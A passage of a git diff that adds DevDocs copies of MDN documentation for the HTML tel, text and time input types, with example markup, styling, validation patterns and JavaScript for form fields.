Taking it a step further, you can provide a list of default phone number values from which the user can select. To do this, use the list attribute. This doesn't limit the user to those options, but does allow them to select commonly-used telephone numbers more quickly. This also offers hints to autocomplete. The list attribute specifies the ID of a <datalist> element, which in turn contains one <option> element per suggested value; each option's value is the corresponding suggested value for the telephone number entry box.

+

html

+
<label for="telNo">Phone number: </label>
+<input id="telNo" name="telNo" type="tel" list="defaultTels" />
+
+<datalist id="defaultTels">
+  <option value="111-1111-1111"></option>
+  <option value="122-2222-2222"></option>
+  <option value="333-3333-3333"></option>
+  <option value="344-4444-4444"></option>
+</datalist>
+
+
+
+ + +

With the <datalist> element and its <option>s in place, the browser will offer the specified values as potential values for the phone number; this is typically presented as a popup or drop-down menu containing the suggestions. While the specific user experience may vary from one browser to another, typically clicking in the edit box presents a drop-down of the suggested phone numbers. Then, as the user types, the list is adjusted to show only filtered matching values. Each typed character narrows down the list until the user makes a selection or types a custom value.

Here's a screenshot of what that might look like:

An input box has focus with a blue focus ring. The input has a drop-down menu showing four phone numbers the user can select.

+
+

Validation

+
+

As we've touched on before, it's quite difficult to provide a one-size-fits-all client-side validation solution for phone numbers. So what can we do? Let's consider some options.

Warning: HTML form validation is not a substitute for server-side scripts that ensure the entered data is in the proper format before it is allowed into the database. It's far too easy for someone to make adjustments to the HTML that allow them to bypass the validation, or to remove it entirely. It's also possible for someone to bypass your HTML entirely and submit the data directly to your server. If your server-side code fails to validate the data it receives, disaster could strike when improperly-formatted data (or data which is too large, is of the wrong type, and so forth) is entered into your database.

+
+

Making telephone numbers required

+
+

You can make it so that an empty input is invalid and won't be submitted to the server using the required attribute. For example, let's use this HTML:

+

html

+
<form>
+  <div>
+    <label for="telNo">Enter a telephone number (required): </label>
+    <input id="telNo" name="telNo" type="tel" required />
+    <span class="validity"></span>
+  </div>
+  <div>
+    <button>Submit</button>
+  </div>
+</form>
+
+

And let's include the following CSS to highlight valid entries with a checkmark and invalid entries with a cross:

+

css

+
div {
+  margin-bottom: 10px;
+  position: relative;
+}
+
+input[type="number"] {
+  width: 100px;
+}
+
+input + span {
+  padding-right: 30px;
+}
+
+input:invalid + span::after {
+  position: absolute;
+  content: "✖";
+  padding-left: 5px;
+  color: #8b0000;
+}
+
+input:valid + span::after {
+  position: absolute;
+  content: "✓";
+  padding-left: 5px;
+  color: #009000;
+}
+
+

The output looks like this:

+
+ + +
+
+

Pattern validation

+
+

If you want to further restrict entered numbers so they also have to conform to a specific pattern, you can use the pattern attribute, which takes as its value a regular expression that entered values have to match.

In this example we'll use the same CSS as before, but our HTML is changed to look like this:

+

html

+
<form>
+  <div>
+    <label for="telNo">
+      Enter a telephone number (in the form xxx-xxx-xxxx):
+    </label>
+    <input
+      id="telNo"
+      name="telNo"
+      type="tel"
+      required
+      pattern="[0-9]{3}-[0-9]{3}-[0-9]{4}" />
+    <span class="validity"></span>
+  </div>
+  <div>
+    <button>Submit</button>
+  </div>
+</form>
+
+
+
+ + +

Notice how the entered value is reported as invalid unless the pattern xxx-xxx-xxxx is matched; for instance, 41-323-421 won't be accepted. Neither will 800-MDN-ROCKS. However, 865-555-6502 will be accepted. This particular pattern is obviously only useful for certain locales — in a real application you'd probably have to vary the pattern used depending on the locale of the user.

+
+

Examples

+
+

In this example, we present a simple interface with a <select> element that lets the user choose which country they're in, and a set of <input type="tel"> elements to let them enter each part of their phone number; there is no reason why you can't have multiple tel inputs.

Each input has a placeholder attribute to show a hint to sighted users about what to enter into it, a pattern to enforce a specific number of characters for the desired section, and an aria-label attribute to contain a hint to be read out to screen reader users about what to enter into it.

+

html

+
<form>
+  <div>
+    <label for="country">Choose your country:</label>
+    <select id="country" name="country">
+      <option>UK</option>
+      <option selected>US</option>
+      <option>Germany</option>
+    </select>
+  </div>
+  <div>
+    <p>Enter your telephone number:</p>
+    <span class="areaDiv">
+      <input
+        id="areaNo"
+        name="areaNo"
+        type="tel"
+        required
+        placeholder="Area code"
+        pattern="[0-9]{3}"
+        aria-label="Area code" />
+      <span class="validity"></span>
+    </span>
+    <span class="number1Div">
+      <input
+        id="number1"
+        name="number1"
+        type="tel"
+        required
+        placeholder="First part"
+        pattern="[0-9]{3}"
+        aria-label="First part of number" />
+      <span class="validity"></span>
+    </span>
+    <span class="number2Div">
+      <input
+        id="number2"
+        name="number2"
+        type="tel"
+        required
+        placeholder="Second part"
+        pattern="[0-9]{4}"
+        aria-label="Second part of number" />
+      <span class="validity"></span>
+    </span>
+  </div>
+  <div>
+    <button>Submit</button>
+  </div>
+</form>
+
+

The JavaScript is relatively simple — it contains an onchange event handler that, when the <select> value is changed, updates the <input> element's pattern, placeholder, and aria-label to suit the format of telephone numbers in that country/territory.

+

js

+
const selectElem = document.querySelector("select");
+const inputElems = document.querySelectorAll("input");
+
+selectElem.onchange = () => {
+  for (let i = 0; i < inputElems.length; i++) {
+    inputElems[i].value = "";
+  }
+
+  if (selectElem.value === "US") {
+    inputElems[2].parentNode.style.display = "inline";
+
+    inputElems[0].placeholder = "Area code";
+    inputElems[0].pattern = "[0-9]{3}";
+
+    inputElems[1].placeholder = "First part";
+    inputElems[1].pattern = "[0-9]{3}";
+    inputElems[1].setAttribute("aria-label", "First part of number");
+
+    inputElems[2].placeholder = "Second part";
+    inputElems[2].pattern = "[0-9]{4}";
+    inputElems[2].setAttribute("aria-label", "Second part of number");
+  } else if (selectElem.value === "UK") {
+    inputElems[2].parentNode.style.display = "none";
+
+    inputElems[0].placeholder = "Area code";
+    inputElems[0].pattern = "[0-9]{3,6}";
+
+    inputElems[1].placeholder = "Local number";
+    inputElems[1].pattern = "[0-9]{4,8}";
+    inputElems[1].setAttribute("aria-label", "Local number");
+  } else if (selectElem.value === "Germany") {
+    inputElems[2].parentNode.style.display = "inline";
+
+    inputElems[0].placeholder = "Area code";
+    inputElems[0].pattern = "[0-9]{3,5}";
+
+    inputElems[1].placeholder = "First part";
+    inputElems[1].pattern = "[0-9]{2,4}";
+    inputElems[1].setAttribute("aria-label", "First part of number");
+
+    inputElems[2].placeholder = "Second part";
+    inputElems[2].pattern = "[0-9]{4}";
+    inputElems[2].setAttribute("aria-label", "Second part of number");
+  }
+};
+
+

The example looks like this:

+
+ + +

This is an interesting idea, which goes to show a potential solution to the problem of dealing with international phone numbers. You would have to extend the example of course to provide the correct pattern for potentially every country, which would be a lot of work, and there would still be no foolproof guarantee that the users would enter their numbers correctly.

It makes you wonder if it is worth going to all this trouble on the client-side, when you could just let the user enter their number in whatever format they wanted on the client-side and then validate and sanitize it on the server. But this choice is yours to make.

+
+

Technical Summary

+
Value A string representing a telephone number, or empty
Events change and input
Supported common attributes autocomplete, list, maxlength, minlength, pattern, placeholder, readonly, and size
IDL attributes list, selectionStart, selectionEnd, selectionDirection, and value
DOM interface

HTMLInputElement
Methods select(), setRangeText(), setSelectionRange()
Implicit ARIA Role with no list attribute: textbox with list attribute: combobox +
+

Specifications

+
+ + +
Specification
HTML Standard
# telephone-state-(type=tel)
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
tel
3The field type doesn't demonstrate any special behavior.
12Yes1011
4The field type doesn't demonstrate any special behavior.
≤3718Yes1131.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/input/tel +

+
diff --git a/devdocs/html/element%2Finput%2Ftext.html b/devdocs/html/element%2Finput%2Ftext.html new file mode 100644 index 00000000..bb10853e --- /dev/null +++ b/devdocs/html/element%2Finput%2Ftext.html @@ -0,0 +1,297 @@ +

<input type="text">

<input> elements of type text create basic single-line text fields.

+

Try it

+
+

Value

+
+

The value attribute is a string that contains the current value of the text entered into the text field. You can retrieve this using the HTMLInputElement value property in JavaScript.

+

js

+
let theText = myTextInput.value;
+
+

If no validation constraints are in place for the input (see Validation for more details), the value may be an empty string ("").

+
+

Additional attributes

+

In addition to the attributes that operate on all <input> elements regardless of their type, text inputs support the following attributes.

+

list

+

The values of the list attribute is the id of a <datalist> element located in the same document. The <datalist> provides a list of predefined values to suggest to the user for this input. Any values in the list that are not compatible with the type are not included in the suggested options. The values provided are suggestions, not requirements: users can select from this predefined list or provide a different value.

+

maxlength

+
+

The maximum string length (measured in UTF-16 code units) that the user can enter into the text input. This must be an integer value of 0 or higher. If no maxlength is specified, or an invalid value is specified, the text input has no maximum length. This value must also be greater than or equal to the value of minlength.

The input will fail constraint validation if the length of the text value of the field is greater than maxlength UTF-16 code units long. Constraint validation is only applied when the value is changed by the user.

+
+

minlength

+
+

The minimum string length (measured in UTF-16 code units) that the user can enter into the text input. This must be a non-negative integer value smaller than or equal to the value specified by maxlength. If no minlength is specified, or an invalid value is specified, the text input has no minimum length.

The input will fail constraint validation if the length of the text entered into the field is fewer than minlength UTF-16 code units long. Constraint validation is only applied when the value is changed by the user.

+
+

pattern

+
+

The pattern attribute, when specified, is a regular expression that the input's value must match for the value to pass constraint validation. It must be a valid JavaScript regular expression, as used by the RegExp type, and as documented in our guide on regular expressions; the 'u' flag is specified when compiling the regular expression so that the pattern is treated as a sequence of Unicode code points, instead of as ASCII. No forward slashes should be specified around the pattern text.

If the specified pattern is not specified or is invalid, no regular expression is applied and this attribute is ignored completely.

Note: Use the title attribute to specify text that most browsers will display as a tooltip to explain what the requirements are to match the pattern. You should also include other explanatory text nearby.

See Specifying a pattern for further details and an example.

+
+

placeholder

+
+

The placeholder attribute is a string that provides a brief hint to the user as to what kind of information is expected in the field. It should be a word or short phrase that demonstrates the expected type of data, rather than an explanatory message. The text must not include carriage returns or line feeds.

If the control's content has one directionality (LTR or RTL) but needs to present the placeholder in the opposite directionality, you can use Unicode bidirectional algorithm formatting characters to override directionality within the placeholder; see How to use Unicode controls for bidi text for more information.

Note: Avoid using the placeholder attribute if you can. It is not as semantically useful as other ways to explain your form, and can cause unexpected technical issues with your content. See <input> accessibility concerns for more information.

+
+

readonly

+
+

A Boolean attribute which, if present, means this field cannot be edited by the user. Its value can, however, still be changed by JavaScript code directly setting the HTMLInputElement value property.

Note: Because a read-only field cannot have a value, required does not have any effect on inputs with the readonly attribute also specified.

+
+

size

+
+

The size attribute is a numeric value indicating how many characters wide the input field should be. The value must be a number greater than zero, and the default value is 20. Since character widths vary, this may or may not be exact and should not be relied upon to be so; the resulting input may be narrower or wider than the specified number of characters, depending on the characters and the font (font settings in use).

This does not set a limit on how many characters the user can enter into the field. It only specifies approximately how many can be seen at a time. To set an upper limit on the length of the input data, use the maxlength attribute.

+
+

spellcheck

+
+

spellcheck is a global attribute which is used to indicate whether to enable spell checking for an element. It can be used on any editable content, but here we consider specifics related to the use of spellcheck on <input> elements. The permitted values for spellcheck are:

false

Disable spell checking for this element.

true

Enable spell checking for this element.

+"" (empty string) or no value

Follow the element's default behavior for spell checking. This may be based upon a parent's spellcheck setting or other factors.

An input field can have spell checking enabled if it doesn't have the readonly attribute set and is not disabled.

The value returned by reading spellcheck may not reflect the actual state of spell checking within a control, if the user agent's preferences override the setting.

+
+

Non-standard attributes

+

The following non-standard attributes are also available on some browsers. As a general rule, you should avoid using them unless it can't be helped.

+

autocorrect

+
+

A Safari extension, the autocorrect attribute is a string which indicates whether to activate automatic correction while the user is editing this field. Permitted values are:

on

Enable automatic correction of typos, as well as processing of text substitutions if any are configured.

off

Disable automatic correction and text substitutions.

+
+

+mozactionhint +

+
+

A Mozilla extension, which provides a hint as to what sort of action will be taken if the user presses the Enter or Return key while editing the field.

Deprecated: Use enterkeyhint instead.

+
+

Using text inputs

+

<input> elements of type text create basic, single-line inputs. You should use them anywhere you want the user to enter a single-line value and there isn't a more specific input type available for collecting that value (for example, if it's a date, URL, email, or search term, you've got better options available).

+

Basic example

+
+
+

html

+
<form>
+  <div>
+    <label for="uname">Choose a username: </label>
+    <input type="text" id="uname" name="name" />
+  </div>
+  <div>
+    <button>Submit</button>
+  </div>
+</form>
+
+

This renders like so:

+
+ + +

When submitted, the data name/value pair sent to the server will be name=Chris (if "Chris" was entered as the input value before submission). You must remember to include name attribute on the <input> element, otherwise the text field's value won't be included with the submitted data.

+
+

Setting placeholders

+
+

You can provide a useful placeholder inside your text input that can provide a hint as to what to enter by including using the placeholder attribute. Look at the following example:

+

html

+
<form>
+  <div>
+    <label for="uname">Choose a username: </label>
+    <input
+      type="text"
+      id="uname"
+      name="name"
+      placeholder="Lower case, all one word" />
+  </div>
+  <div>
+    <button>Submit</button>
+  </div>
+</form>
+
+

You can see how the placeholder is rendered below:

+
+ + +

The placeholder is typically rendered in a lighter color than the element's foreground color, and automatically vanishes when the user begins to enter text into the field (or whenever the field has a value set programmatically by setting its value attribute).

+
+

Physical input element size

+
+

The physical size of the input box can be controlled using the size attribute. With it, you can specify the number of characters the text input can display at a time. This affects the width of the element, letting you specify the width in terms of characters rather than pixels. In this example, for instance, the input is 30 characters wide:

+

html

+
<form>
+  <div>
+    <label for="uname">Choose a username: </label>
+    <input
+      type="text"
+      id="uname"
+      name="name"
+      placeholder="Lower case, all one word"
+      size="30" />
+  </div>
+  <div>
+    <button>Submit</button>
+  </div>
+</form>
+
+
+
+ + +
+
+

Validation

+
+

<input> elements of type text have no automatic validation applied to them (since a basic text input needs to be capable of accepting any arbitrary string), but there are some client-side validation options available, which we'll discuss below.

Note: HTML form validation is not a substitute for server-scripts that ensure the entered data is in the proper format. It's far too easy for someone to make adjustments to the HTML that allow them to bypass the validation, or to remove it entirely. It's also possible for someone to bypass your HTML entirely and submit the data directly to your server. If your server-side code fails to validate the data it receives, disaster could strike when improperly-formatted data (or data which is too large, is of the wrong type, and so forth) is entered into your database.

+
+

A note on styling

+
+

There are useful pseudo-classes available for styling form elements to help the user see when their values are valid or invalid. These are :valid and :invalid. In this section, we'll use the following CSS, which will place a check (tick) mark next to inputs containing valid values, and a cross (X) next to inputs containing invalid values.

+

css

+
div {
+  margin-bottom: 10px;
+  position: relative;
+}
+
+input + span {
+  padding-right: 30px;
+}
+
+input:invalid + span::after {
+  position: absolute;
+  content: "✖";
+  padding-left: 5px;
+}
+
+input:valid + span::after {
+  position: absolute;
+  content: "✓";
+  padding-left: 5px;
+}
+
+

The technique also requires a <span> element to be placed after the form element, which acts as a holder for the icons. This was necessary because some input types on some browsers don't display icons placed directly after them very well.

+
+

Making input required

+
+

You can use the required attribute as an easy way of making entering a value required before form submission is allowed:

+

html

+
<form>
+  <div>
+    <label for="uname">Choose a username: </label>
+    <input type="text" id="uname" name="name" required />
+    <span class="validity"></span>
+  </div>
+  <div>
+    <button>Submit</button>
+  </div>
+</form>
+
+

This renders like so:

+
+ + +

If you try to submit the form with no search term entered into it, the browser will show an error message.

+
+

Input value length

+
+

You can specify a minimum length (in characters) for the entered value using the minlength attribute; similarly, use maxlength to set the maximum length of the entered value, in characters.

The example below requires that the entered value be 4–8 characters in length.

+

html

+
<form>
+  <div>
+    <label for="uname">Choose a username: </label>
+    <input
+      type="text"
+      id="uname"
+      name="name"
+      required
+      size="10"
+      placeholder="Username"
+      minlength="4"
+      maxlength="8" />
+    <span class="validity"></span>
+  </div>
+  <div>
+    <button>Submit</button>
+  </div>
+</form>
+
+

This renders like so:

+
+ + +

If you try to submit the form with less than 4 characters, you'll be given an appropriate error message (which differs between browsers). If you try to enter more than 8 characters, the browser won't let you.

Note: If you specify a minlength but do not specify required, the input is considered valid, since the user is not required to specify a value.

+
+

Specifying a pattern

+
+

You can use the pattern attribute to specify a regular expression that the inputted value must match in order to be considered valid (see Validating against a regular expression for a simple crash course on using regular expressions to validate inputs).

The example below restricts the value to 4-8 characters and requires that it contain only lower-case letters.

+

html

+
<form>
+  <div>
+    <label for="uname">Choose a username: </label>
+    <input
+      type="text"
+      id="uname"
+      name="name"
+      required
+      size="45"
+      pattern="[a-z]{4,8}" />
+    <span class="validity"></span>
+    <p>Usernames must be lowercase and 4-8 characters in length.</p>
+  </div>
+  <div>
+    <button>Submit</button>
+  </div>
+</form>
+
+

This renders like so:

+
+ + +
+
+

Examples

+

You can see good examples of text inputs used in context in our Your first HTML form and How to structure an HTML form articles.

+

Technical summary

+
Value A string representing the text contained in the text field.
Events change and input
Supported Common Attributes autocomplete, list, maxlength, minlength, pattern, placeholder, readonly, required and size
IDL attributes +list, value +
DOM interface

HTMLInputElement
Methods select(), setRangeText() and setSelectionRange().
Implicit ARIA Role with no list attribute: textbox with list attribute: combobox +
+

Specifications

+
+ + +
Specification
HTML Standard
# text-(type=text)-state-and-search-state-(type=search)
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
text1121Yes1514.41841411.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/input/text +

+
diff --git a/devdocs/html/element%2Finput%2Ftime.html b/devdocs/html/element%2Finput%2Ftime.html new file mode 100644 index 00000000..9a0c10a6 --- /dev/null +++ b/devdocs/html/element%2Finput%2Ftime.html @@ -0,0 +1,409 @@ +

<input type="time">

+

<input> elements of type time create input fields designed to let the user easily enter a time (hours and minutes, and optionally seconds).

The control's user interface varies from browser to browser; see Browser compatibility for further details. In unsupported browsers, the control degrades gracefully to <input type="text">.

+
+

Try it

+
+

Appearance

+ +

Chrome and Opera

+
+

In Chrome/Opera the time control is simple, with slots to enter hours and minutes in 12 or 24-hour format depending on operating system locale, and up and down arrows to increment and decrement the currently selected component. In some versions, an "X" button is provided to clear the control's value.

12-hour Chrome time input 12-hour

24-hour Chrome time input 24-hour

+
+

Firefox

+
+

Firefox's time control is very similar to Chrome's, except that it doesn't have the up and down arrows. It also uses a 12- or 24-hour format for inputting times, based on system locale. An "X" button is provided to clear the control's value.

12-hour Firefox time input 12-hour

24-hour Firefox time input 24-hour

+
+

Edge

+
+

The Edge time control is somewhat more elaborate, opening up an hour and minute picker with sliding reels. It, like Chrome, uses a 12- or 24-hour format for inputting times, based on system locale:

12-hour Edge time input 12-hour

24-hour Edge time input 24-hour

+
+

Value

+

A string containing the value of the time entered into the input.

+

Setting the value attribute

+
+

You can set a default value for the input by including a valid time in the value attribute when creating the <input> element, like so:

+

html

+
<label for="appt-time">Choose an appointment time: </label>
+<input id="appt-time" type="time" name="appt-time" value="13:30" />
+
+
+
+ + +
+
+

Setting the value using JavaScript

+
+

You can also get and set the time value in JavaScript using the HTMLInputElement value property, for example:

+

js

+
const timeControl = document.querySelector('input[type="time"]');
+timeControl.value = "15:30";
+
+
+
+

Time value format

+
+

The value of the time input is always in 24-hour format that includes leading zeros: hh:mm, regardless of the input format, which is likely to be selected based on the user's locale (or by the user agent). If the time includes seconds (see Using the step attribute), the format is always hh:mm:ss. You can learn more about the format of the time value used by this input type in Time strings.

In this example, you can see the time input's value by entering a time and seeing how it changes afterward.

First, a look at the HTML. This is simple enough, with the label and input as we've seen before, but with the addition of a <p> element with a <span> to display the value of the time input:

+

html

+
<form>
+  <label for="startTime">Start time: </label>
+  <input type="time" id="startTime" />
+  <p>
+    Value of the <code>time</code> input:
+    <code> "<span id="value">n/a</span>"</code>.
+  </p>
+</form>
+
+

The JavaScript code adds code to the time input to watch for the input event, which is triggered every time the contents of an input element change. When this happens, the contents of the <span> are replaced with the new value of the input element.

+

js

+
const startTime = document.getElementById("startTime");
+const valueSpan = document.getElementById("value");
+
+startTime.addEventListener(
+  "input",
+  () => {
+    valueSpan.innerText = startTime.value;
+  },
+  false,
+);
+
+
+
+ + +

When a form including a time input is submitted, the value is encoded before being included in the form's data. The form's data entry for a time input will always be in the form name=hh%3Amm, or name=hh%3Amm%3Ass if seconds are included (see Using the step attribute).

+
+

Additional attributes

+
+

In addition to the attributes common to all <input> elements, time inputs offer the following attributes.

Note: Unlike many data types, time values have a periodic domain, meaning that the values reach the highest possible value, then wrap back around to the beginning again. For example, specifying a min of 14:00 and a max of 2:00 means that the permitted time values start at 2:00 PM, run through midnight to the next day, ending at 2:00 AM. See more in the making min and max cross midnight section of this article.

+
+

list

+

The values of the list attribute is the id of a <datalist> element located in the same document. The <datalist> provides a list of predefined values to suggest to the user for this input. Any values in the list that are not compatible with the type are not included in the suggested options. The values provided are suggestions, not requirements: users can select from this predefined list or provide a different value.

+

max

+

A string indicating the latest time to accept, specified in the same time value format as described above. If the specified string isn't a valid time, no maximum value is set.

+

min

+

A string specifying the earliest time to accept, given in the time value format described previously. If the value specified isn't a valid time string, no minimum value is set.

+

readonly

+
+

A Boolean attribute which, if present, means this field cannot be edited by the user. Its value can, however, still be changed by JavaScript code directly setting the HTMLInputElement value property.

Note: Because a read-only field cannot have a value, required does not have any effect on inputs with the readonly attribute also specified.

+
+

step

+
+

The step attribute is a number that specifies the granularity that the value must adhere to, or the special value any, which is described below. Only values which are equal to the basis for stepping (min if specified, value otherwise, and an appropriate default value if neither of those is provided) are valid.

A string value of any means that no stepping is implied, and any value is allowed (barring other constraints, such as min and max).

Note: When the data entered by the user doesn't adhere to the stepping configuration, the user agent may round to the nearest valid value, preferring numbers in the positive direction when there are two equally close options.

For time inputs, the value of step is given in seconds, with a scaling factor of 1000 (since the underlying numeric value is in milliseconds). The default value of step is 60, indicating 60 seconds (or 1 minute, or 60,000 milliseconds).

At this time, it's unclear what a value of any means for step when used with time inputs. This will be updated as soon as that information is determined.

+
+

Using time inputs

+ +

Basic uses of time

+
+

The simplest use of <input type="time"> involves a basic <input> and <label> element combination, as seen below:

+

html

+
<form>
+  <label for="appt-time">Choose an appointment time: </label>
+  <input id="appt-time" type="time" name="appt-time" />
+</form>
+
+
+
+ + +
+
+

Controlling input size

+

<input type="time"> doesn't support form sizing attributes such as size, since times are always about the same number of characters long. You'll have to resort to CSS for sizing needs.

+

Using the step attribute

+
+

You can use the step attribute to vary the amount of time jumped whenever the time is incremented or decremented (for example, so the time moves by 10 minutes at a time when clicking the little arrow widgets).

Note: This property has some strange effects across browsers, so is not completely reliable.

It takes an integer value that equates to the number of seconds you want to increment by; the default value is 60 seconds, or one minute. If you specify a value of less than 60 seconds (1 minute), the time input will show a seconds input area alongside the hours and minutes:

+

html

+
<form>
+  <label for="appt-time">Choose an appointment time: </label>
+  <input id="appt-time" type="time" name="appt-time" step="2" />
+</form>
+
+
+
+ + +

In Chrome and Opera, which are the only browsers to show up/down iteration arrows, clicking the arrows changes the seconds value by two seconds, but doesn't affect the hours or minutes. Minutes (or hours) can only be used for stepping when you specify a number of minutes (or hours) in seconds, such as 120 for 2 minutes, or 7200 for 2 hours).

In Firefox, there are no arrows, so the step value isn't used. However, providing it does add the seconds input area adjacent to the minutes section.

The steps value seems to have no effect in Edge.

Note: Using step seems to cause validation to not work properly (as seen in the next section).

+
+

Validation

+

By default, <input type="time"> does not apply any validation to entered values, other than the user agent's interface generally not allowing you to enter anything other than a time value. This is helpful (assuming the time input is fully supported by the user agent), but you can't entirely rely on the value to be a proper time string, since it might be an empty string (""), which is allowed. It's also possible for the value to look roughly like a valid time but not be correct, such as 25:05.

+

Setting maximum and minimum times

+
+

You can use the min and max attributes to restrict the valid times that can be chosen by the user. In the following example we are setting a minimum time of 12:00 and a maximum time of 18:00:

+

html

+
<form>
+  <label for="appt-time">
+    Choose an appointment time (opening hours 12:00 to 18:00):
+  </label>
+  <input id="appt-time" type="time" name="appt-time" min="12:00" max="18:00" />
+  <span class="validity"></span>
+</form>
+
+
+
+ + +

Here's the CSS used in the above example. Here we make use of the :valid and :invalid CSS properties to style the input based on whether the current value is valid. We had to put the icons on a <span> next to the input, not on the input itself, because in Chrome the generated content is placed inside the form control, and can't be styled or shown effectively.

+

css

+
div {
+  margin-bottom: 10px;
+  position: relative;
+}
+
+input[type="number"] {
+  width: 100px;
+}
+
+input + span {
+  padding-right: 30px;
+}
+
+input:invalid + span::after {
+  position: absolute;
+  content: "✖";
+  padding-left: 5px;
+}
+
+input:valid + span::after {
+  position: absolute;
+  content: "✓";
+  padding-left: 5px;
+}
+
+

The result here is that:

Making min and max cross midnight

By setting a min attribute greater than the max attribute, the valid time range will wrap around midnight to produce a valid time range which crosses midnight. This functionality is not supported by any other input types. While this feature is in the HTML spec, it is not yet universally supported. Chrome-based browsers support it starting in version 82 and Firefox added it in version 76. Safari as of version 14.1 does not support this. Be prepared for this situation to arise:

+

js

+
const input = document.createElement("input");
+input.type = "time";
+input.min = "23:00";
+input.max = "01:00";
+input.value = "23:59";
+
+if (input.validity.valid && input.type === "time") {
+  // <input type=time> reversed range supported
+} else {
+  // <input type=time> reversed range unsupported
+}
+
+
+
+

Making times required

+
+

In addition, you can use the required attribute to make filling in the time mandatory. As a result, supporting browsers will display an error if you try to submit a time that is outside the set bounds, or an empty time field.

Let's look at an example; here we've set minimum and maximum times, and also made the field required:

+

html

+
<form>
+  <div>
+    <label for="appt-time">
+      Choose an appointment time (opening hours 12:00 to 18:00):
+    </label>
+    <input
+      id="appt-time"
+      type="time"
+      name="appt-time"
+      min="12:00"
+      max="18:00"
+      required />
+    <span class="validity"></span>
+  </div>
+  <div>
+    <input type="submit" value="Submit form" />
+  </div>
+</form>
+
+

If you try to submit the form with an incomplete time (or with a time outside the set bounds), the browser displays an error. Try playing with the example now:

+
+ + +

Warning: HTML form validation is not a substitute for scripts that ensure that the entered data is in the proper format. It's far too easy for someone to make adjustments to the HTML that allow them to bypass the validation, or to remove it entirely. It's also possible for someone to bypass your HTML entirely and submit the data directly to your server. If your server-side code fails to validate the data it receives, disaster could strike when improperly-formatted data is submitted (or data which is too large, of the wrong type, and so forth).

+
+

Handling browser support

+
+

As mentioned, older versions of Safari and a few other, less common, browsers don't support time inputs natively. In general, otherwise, support is good — especially on mobile platforms, which tend to have very nice user interfaces for specifying a time value. For example, the time picker on Chrome for Android looks like this:

Phone screen showing modal dialog with 10:21 as a header. The 10 is fully opaque. The 21 is not. The main area has a circle with the numbers 1 - 12 in a ring, and the number 13 -24 on an inner ring. The number 10 is highlighted with a blue circle. The buttons at the bottom are clear, cancel, and set.

Browsers that don't support time inputs gracefully degrade to a text input, but this creates problems both in terms of consistency of user interface (the presented control will be different), and data handling.

The second problem is the more serious; as mentioned previously, time inputs' values are always normalized to the format hh:mm or hh:mm:ss. With a text input, on the other hand, by default the browser has no idea of what format the time should be in, and there are multiple ways in which people write times, such as:

One way around this is to put a pattern attribute on your time input. Even though the time input doesn't use it, the text input fallback will. For example, try viewing the following demo in a browser that doesn't support time inputs:

+

html

+
<form>
+  <div>
+    <label for="appt-time">
+      Choose an appointment time (opening hours 12:00 to 18:00):
+    </label>
+    <input
+      id="appt-time"
+      type="time"
+      name="appt-time"
+      min="12:00"
+      max="18:00"
+      required
+      pattern="[0-9]{2}:[0-9]{2}" />
+    <span class="validity"></span>
+  </div>
+  <div>
+    <input type="submit" value="Submit form" />
+  </div>
+</form>
+
+
+
+ + +

If you try submitting it, you'll see that non-supporting browsers now display an error message (and highlight the input as invalid) if your entry doesn't match the pattern nn:nn, where n is a number from 0 to 9. Of course, this doesn't stop people from entering invalid times, or incorrectly formatted times that follow the pattern.

Then there's the problem of the user having no idea exactly what format the time is expected to be in.

The best way to deal with times in forms in a cross-browser way, for the time being, is to get the user to enter the hours and minutes (and seconds if required) in separate controls (<select> elements are popular; see below for an example), or use JavaScript libraries such as the jQuery timepicker plugin.

+
+

Examples

+
+

In this example, we create two sets of interface elements for choosing times: a native picker created with <input type="time">, and a set of two <select> elements for choosing hours/minutes in older browsers that don't support the native input.

+
+ + +

The HTML looks like so:

+

html

+
<form>
+  <div class="nativeTimePicker">
+    <label for="appt-time">
+      Choose an appointment time (opening hours 12:00 to 18:00):
+    </label>
+    <input
+      id="appt-time"
+      type="time"
+      name="appt-time"
+      min="12:00"
+      max="18:00"
+      required />
+    <span class="validity"></span>
+  </div>
+  <p class="fallbackLabel">
+    Choose an appointment time (opening hours 12:00 to 18:00):
+  </p>
+  <div class="fallbackTimePicker">
+    <div>
+      <span>
+        <label for="hour">Hour:</label>
+        <select id="hour" name="hour"></select>
+      </span>
+      <span>
+        <label for="minute">Minute:</label>
+        <select id="minute" name="minute"></select>
+      </span>
+    </div>
+  </div>
+</form>
+
+

The hour and minutes values for their <select> elements are dynamically generated.

The other part of the code that may be of interest is the feature detection code — to detect whether the browser supports <input type="time">, we create a new <input> element, try setting its type to time, then immediately check what its type is set to — non-supporting browsers will return text, because the time type falls back to type text. If <input type="time"> is not supported, we hide the native picker and show the fallback picker UI (<select>s) instead.

+

js

+
// Define variables
+const nativePicker = document.querySelector(".nativeTimePicker");
+const fallbackPicker = document.querySelector(".fallbackTimePicker");
+const fallbackLabel = document.querySelector(".fallbackLabel");
+
+const hourSelect = document.querySelector("#hour");
+const minuteSelect = document.querySelector("#minute");
+
+// Hide fallback initially
+fallbackPicker.style.display = "none";
+fallbackLabel.style.display = "none";
+
+// Test whether a new time input falls back to a text input or not
+const test = document.createElement("input");
+
+try {
+  test.type = "time";
+} catch (e) {
+  console.log(e.description);
+}
+
+// If it does, run the code inside the if () {} block
+if (test.type === "text") {
+  // Hide the native picker and show the fallback
+  nativePicker.style.display = "none";
+  fallbackPicker.style.display = "block";
+  fallbackLabel.style.display = "block";
+
+  // Populate the hours and minutes dynamically
+  populateHours();
+  populateMinutes();
+}
+
+function populateHours() {
+  // Populate the hours <select> with the 6 open hours of the day
+  for (let i = 12; i <= 18; i++) {
+    const option = document.createElement("option");
+    option.textContent = i;
+    hourSelect.appendChild(option);
+  }
+}
+
+function populateMinutes() {
